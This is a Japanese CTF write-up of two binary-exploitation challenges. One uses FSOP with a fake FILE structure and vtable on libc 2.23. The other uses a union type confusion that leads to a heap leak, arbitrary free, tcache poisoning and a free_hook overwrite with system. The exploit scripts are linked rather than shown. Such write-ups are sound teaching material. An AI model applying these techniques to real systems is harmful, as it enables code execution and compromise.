* Arch : x86-64
* Library : Dynamically linked
* Symbol :Stripped

checksec結果
* RELRO : Full RELRO
* Canary : Enable
* NX : Enable
* PIE : Enable

問題名からもlibc2.23であることからも分かるとおりFSOPの問題です。
FSOPについては知らない場合はここら辺を参照するといいと思います。

ctf-wiki.github.io

PIEが有効ですが、最初にshellを起動するwin関数のアドレスを教えてくれます。
banner.txtをfopenして返り値をグローバル変数に代入します(以下streamと呼びます)。
またgetsでグローバル領域に用意されているsize=0x200のbuffer(以下bufと呼ぶ)にgetsで入力します。
その後fclose(stream)でファイルをクローズします。
流れはこんな感じで、この時のメモリレイアウトは以下のようになっています。(PIEがEnableなのでアドレスはオフセット)

0x202060: char buf[0x200]
0x202260: FILE* stream

方針

bufにgetsで入力しているので、banner.txtのFILE構造体をさすポインタを書き換えることができます。
libc2.23ではvtableのアドレスのチェックが行われないのでbuf内にfakeのFILE構造体とfakeのvtableをどちらも用意しましょう。
あとはfake_vtableの_IO_FINISHをwin関数のアドレスにしておきます。

Exploit

fakeのFILE構造体は値は結構適当にしている箇所があります。_flagsとか_lockとかのメンバは注意する必要があります。

github.com

confusing

概要

配布ファイル
* chall(問題バイナリ)
* libc-2.27.so
* main.c
* type.h

ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol :Not Stripped

checksec結果
* RELRO : Partial RELRO
* Canary : Disable
* NX : Enable
* PIE : Disable

Undefined, String, Double, Integerを扱うunionをテーマにした問題です。
問題文からもwebkitのjsエンジンが元ネタのようですが、ここら辺の知識がなくてもコードを読めば十分に解けます。(自分もliveoverflowの動画で見たくらいで、あまり詳しくないです)
またこのバイナリでは入力はlibcのgetline関数で行っています。getline関数の内部ではmalloc,reallocが実行されるのでここら辺の挙動もよく観察しましょう。

上でテーマであると話したこれらの型(jsではプリミティブと呼ばれたりして、cの型と概念が少し異なるようですが、ここでは単に型と呼びます)はtype.hで定義されていて、全て64bit長のデータとして扱われます。Integerも表現できる幅は32bitですが64bitで扱われます。
説明が難しいのでtype.hにあるコメントとコードを見た方が早そうですね。

...
...
 * > The top 16-bits denote the type of the encoded JSValue:
 * >
 * >     Pointer {  0000:PPPP:PPPP:PPPP
 * >              / 0001:****:****:****
 * >     Double  {         ...
 * >              \ FFFE:****:****:****
 * >     Integer {  FFFF:0000:IIII:IIII
...
...
#define VALUE_UNDEFINED ((void*)0x0a)
#define MAGIC_STRING  0x0000
#define MAGIC_INTEGER 0xFFFF

/* A magic type that can keep string, double and integer! */
typedef union __attribute__((packed)) {
  char *String;
  double Double;
  int Integer;
  struct __attribute__((packed)) {
    unsigned long  data : 48;
    unsigned short magic: 16;
  } data;
} Value;

全ての型は64bitの上位16bitで識別することができます。Stringなら0、Doubleなら1~0xfffe、Integerなら0xffffといった感じです。
またUndefinedは0x0aで表現されます。

次にバイナリの実行の流れを見ていきましょう。 このバイナリでは長さが10のunionの配列listの中身をセット、表示、消去の動作を3つのコマンドで選択できます。

  1. Set
    indexとセットしたい型をString, Double, Integerの中から数字で選択します。
    指定したindexにすでにStringがセットされていた場合は、その値をfreeして新しい値をセットします。
    指定したindexがStringでない場合は値がセットされている、いないにかかわらず新しい値で書き換えを行います。
    新しくStringをセットする場合はgetline関数で入力を読み込み、そのまま確保したchunkのアドレスをセットします。

  2. Show listの10個の要素について、型とその値を表示します。Stringであった場合はポインタが指す先の文字列を表示します。

  3. delete indexを指定して値をUndefinedにします。指定したindexがStringであった場合はその値をfreeしてからUndefinedにします。

大まかな流れはこんな感じです。

方針

概要でStringは上位16bitが0、Doubleは0x1~0xfffeを取りうると言ったのですが、この定義通りに実装されておらず、Doubleをセットするときに上位16bitが0だったとしてもその値がそのまま格納されてしまいます。つまりStringとDoubleの判別が付かなくなってしまうのです。各コマンドでlist[index]がStringであるかをチェックする関数Value_IsStringがあるのですが、上位16bitが0かつUndefinedであればTrue、つまりStringであると判別されます。なので上位16bitが0になるようなdoubleの値をセットすると、以降それはStringとして扱われてしまいます。これを利用して攻撃を行います。

大まかな流れは以下の通りです。
1. libc,heapアドレスリー
2. 複数のchunkにまたがるoverlapped chunkの作成
3. tcache poisoning
4. free_hookのoverwrite

libc, heapアドレスリー

これはPIEがDisableなので結構簡単にできます。
適当にStringを確保しlistにheapのアドレスをセットしておきます。(例index=0, String, "hogehuga")
次にその値を格納したindexを参照するような値をdoubleで表現しlistにセットしておきます。(例index=1, Double, "3.1125187e-317")

するとshowで一覧を表示したときに、先述の通りStringと扱われてheapのアドレスが文字列として表示されます。("3.1125187e-317"は内部では0x6020a0となりlist[0]のアドレスになります)
heapアドレスのリークと同様にlibcのリークもできます。これは先にStringでchunkを確保する必要はなく、got_putsのアドレスを浮動小数点表記したものをDoubleとしてセットして、showを実行すれば良いです。

複数のchunkにまたがるoverlapped chunkの作成 & tcache poisoning

Doubleの値がStringとして扱われてしまう場合があるということは、それらの値をdeleteで指定すれば任意のアドレスをfreeできます。
またheapアドレスの値はすでにわかっているのでoverlapped chunkも簡単に作れますね。
getline関数で呼ばれるreallocが確保するchunkの最小単位は0x80であるということ、fakechunkのnext_chunkのsizeを適切な値にセットしておかないとfree時にエラーが起きることに注意しましょう。
overlapped chunkが作れたら、tcacheにつながっているchunkのnextchunkをfree_hook等に書き換えることができます。

free_hookのoverwrite

このバイナリでは全ての入力をgetlineで行っているのでコマンドの入力"1","2","3"に対してもchunkを確保します。
またそれらのchunkを律儀にfreeしているので、free_hookをtcacheに繋げたあとの挙動には注意する必要があります。
僕の場合はtcacheにfree_hook-0x8のアドレスを繋いで、次のgetnlineの入力で"/bin/sh\x00"(8byte)+p64(addr_system)を入力することで、free_hookの書き換えとfreeの実行のユーザからするとアトミックな処理にも対応するようにしました。

Exploit

github.com

まとめ

CTFは楽しい。チームメイトが強い。
最近ガッツリ時間割けてないですが、もっと頑張ります。 でかいCTFだと相変わらず無力なので。。。